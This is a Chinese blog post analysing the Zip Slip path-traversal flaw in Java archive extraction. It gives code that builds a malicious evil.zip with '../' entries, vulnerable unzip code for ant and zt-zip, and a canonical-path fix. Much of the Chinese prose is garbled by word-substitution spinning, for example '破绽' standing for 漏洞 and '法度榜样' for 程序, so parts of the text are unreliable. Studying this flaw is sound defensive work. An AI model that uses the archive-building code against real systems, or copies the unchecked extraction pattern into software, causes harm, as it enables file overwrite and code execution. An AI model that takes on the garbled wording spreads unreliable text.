Zip Slip任意文件覆盖漏洞分析

Zip Slip是一个广泛存在的随意率性文件覆盖破绽,平日会导致远程敕令履行。

该破绽影响范围极大年夜:

1.受影响的产品:惠普、Amazon、apache、Pivotal等;

2.受影响的编程说话:JavaScript、Python、Ruby、.NET、Go、Groovy等;

3.受影响的压缩文件类型:tar、jar、war、cpio、apk、rar、7z等。

zip slip破绽着实也是目录遍历的一种,经由过程利用法度榜样解压恶意的压缩文件来进行进击。恶意进击者经由过程构造一个压缩文件条款中带有../的压缩文件,上传后交给利用法度榜样进行解压,因为法度榜样解压时没有对文件名进行合法性的校验,而是直接将文件名拼接在待解压目录后面,导致可以将文件解压到正常解压缩路径之外并覆盖可履行文件,从而等待系统或用户调用他们实今世码履行(也可能是覆盖设置设置设备摆设摆设文件或其他敏感文件)。

今朝只如果应用存在Zip Slip破绽的库,且没有进行目录遍历验证的法度榜样或直接包孕易受进击代码的法度榜样都将受此破绽影响。如下是受影响的库:

也可以直接查看GitHub项目:https://github.com/snyk/zip-slip-vulnerability

接下来经由过程java代码对zip slip破绽进行复现:

如下图所示,主目录zip_slip下有test和test1两个文件夹,test文件夹下是一个恶意的zip压缩文件,test1是test.txt文件,假如利用法度榜样对该恶意zip压缩文件进行解压后会覆盖test1下的test.txt(该test.txt中内容是good!!)文件,阐明该利用法度榜样存在zip slip破绽。

因为windows上不能直接构造带有../条款的压缩文件,以是必要应用法度榜样来构造evil.zip这样的恶意压缩包。

使用如下法度榜样对test.txt(实际场景中该txt文件是恶意代码,用于覆盖)进行压缩为evil.zip

public class Enzip {public static void main(String[] args) {// TODO Auto-generated method stub //第一个参数是必要压缩的源路径;第二个参数是压缩文件的目的路径,这边必要将压缩的文件名字加上去 compress(“C:/Users/DELL/Desktop/zip_slip/test/test.txt”,”C:/Users/DELL/Desktop/zip_slip/test/evil.zip”); }/** * 压缩文件 * @param srcFilePath 压缩源路径 * @param destFilePath 压缩目的路径 */ public static void compress(String srcFilePath, String destFilePath) {File src = new File(srcFilePath); if (!src.exists()) {throw new RuntimeException(srcFilePath + “不存在”); }File zipFile = new File(destFilePath); try {FileOutputStream fos = new FileOutputStream(zipFile); ZipOutputStream zos = new ZipOutputStream(fos); String baseDir = “../test1/”; compressFile(src, zos, baseDir); //compressbyType(src, zos, baseDir); zos.close(); } catch (Exception e) {// TODO Auto-generated catch block e.printStackTrace(); }}/** * 按照原路径的类型就行压缩。文件路径直接把文件压缩, * @param src * @param zos * @param baseDir */ private static void compressbyType(File src, ZipOutputStream zos,String baseDir) {if (!src.exists())return; System.out.println(“压缩路径” + baseDir + src.getName()); compressFile(src, zos, baseDir); }/** * 压缩文件 */ private static void compressFile(File file, ZipOutputStream zos,String baseDir) {if (!file.exists())return; try {BufferedInputStream bis = new BufferedInputStream(new FileInputStream(file)); ZipEntry entry = new ZipEntry(baseDir + file.getName()); zos.putNextEntry(entry); int count; byte[] buf = new byte[1024]; while ((count = bis.read(buf)) != -1) {zos.write(buf, 0, count); }bis.close(); } catch (Exception e) {// TODO: handle exception }}}

因为java顶用于解压的措施很多,仅拔取此中两个具有代表性的进行钻研

ant-1.7.0.jar(直接包孕易受进击代码)

public class Unzip {public static void main(String[] args) throws IOException {//解压zip的包 String fileAddress = “C:/Users/DELL/Desktop/zip_slip/test/evil.zip”; //zip文件解压路径 String unZipAddress = “C:/Users/DELL/Desktop/zip_slip/test/”; //去目录下探求文件 File file = new File(fileAddress); ZipFile zipFile = null; try {zipFile = new ZipFile(file,”GBK”);//设置编码款式 } catch (IOException exception) {exception.printStackTrace(); System.out.println(“解压文件不存在!”); }Enumeration e = zipFile.getEntries(); while(e.hasMoreElements()) {ZipEntry zipEntry = (ZipEntry)e.nextElement(); System.out.println(zipEntry.getName()); File f = new File(unZipAddress + zipEntry.getName()); f.getParentFile().mkdirs(); f.createNewFile(); InputStream is = zipFile.getInputStream(zipEntry); FileOutputStream fos = new FileOutputStream(f); int length = 0; byte[] b = new byte[1024]; while((length=is.read(b, 0, 1024))!=-1) {fos.write(b, 0, length); }is.close(); fos.close(); }if (zipFile != null) {zipFile.close(); }//file.deleteOnExit(); }}

[1] [2]下一页

如上解压代码运行后对evil.zip进行解压后会覆盖text1中的test.txt文件。

问题出在:File f = new File(unZipAddress + zipEntry.getName());

没有对zipEntry.getName()做过滤就直接和unZipAddress 进行了拼凑,可以经由过程在法度榜样中将该zipEntry的文件名打出来。

zt-zip-1.11.jar(存在破绽的组件)

import org.zeroturnaround.zip.ZipUtil;import java.io.File;public class Unzip {//使用zt-zip.jar进行解压public static void main(String[] args) {ZipUtil.unpack(new File(“C:/Users/DELL/Desktop/zip_slip/test/evil.zip”), new File(“C:/Users/DELL/Desktop/zip_slip/test/”)); }}

使用zt-zip-1.11.jar对zip文件进行压缩的代码如上所示,zt-zip-1.11.jar对底层进行了封装,debug运行查看底层源码如下:

后面便是直接用io流写入文件了,可以看到也没有对文件名做任何的过滤。

值得留意的是:使用ZipUtil.unpack(new File(), new File());将压缩文件解压到指定目录下是是存在zip slip破绽的

而应用ZipUtil.explode(new File());将压缩文件解压到当前目录则不存在此破绽,这和底层实现有关(着实也没有做过滤,只不过是直接获取当前zip的目录作为文件寄放的目录)。

其他

上面说过,一样平常存在zip slip破绽的有两种环境:1.直接应用存在破绽的代码块 2.应用存在破绽的组件。以上分手对这两种环境做了复现。除了ant.jar以及zt-zip.jar,还有ziputil.jar(直接包孕缺陷代码)、zip4j.jar(存在破绽的组件)等。

修复措施:

今朝的修复措施:假如是包孕出缺陷代码的,必要对文件名做过滤;假如应用了包孕破绽的jar包,应及时更新到最新的jar包。

1.先看下zt-zip-1.13这个最新包的修复效果:解压恶意压缩文件时,会报错显示加压的文件考试测验跳出正常的目录之外。

查看底层修复代码如下:

核心处所在这个if判断语句中:

name.indexOf(“..”) != -1 && !file.getCanonicalPath().startsWith(this.outputDir.getCanonicalPath())

判断语句分为两部分:文件名中含有“..” 且文件名不以目录名(正常解压的目录)开首时,则让文件解压掉败。

然则这里有个小问题(也是我上面复现的时刻踩的一个坑),便是采纳这种防护步伐,恶意进击者仍旧可以将文件解压到与正常解压目录同一个层且文件夹名正好因此正常解压目录名开首的文件夹下。也便是正常期望解压到user1文件夹下,恶意进击者仍旧可以经由过程构造恶意压缩文件来覆盖user11、user111、user121等等这些文件夹下的文件。不过实际运用处景中这种环境异常少见,达不到想要的进击效果。

2.假如是直接包孕了缺陷代码,也建议经由过程如上的修复措施对文件名做校验。

String canonicalDestinationDirPath = destinationDir.getCanonicalPath();

File destinationfile = new File(destinationDir, e.getName());

String canonicalDestinationFile = destinationfile.getCanonicalPath();

if (!canonicalDestinationFile.startsWith(canonicalDestinationDirPath)) {

throw new ArchiverException(“Entry is outside of the target dir: ” + e.getName());

}

上一页[1] [2]

赞(0) 打赏
分享到: 更多 (0)
免责申明:本站所有资料均来自于网络,版权归原创者所有!本站不提供任何保证,不保证真实性,并不承担任何法律责任

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

阿里云优惠网 更专业 更优惠

阿里云优惠券阿里云大礼包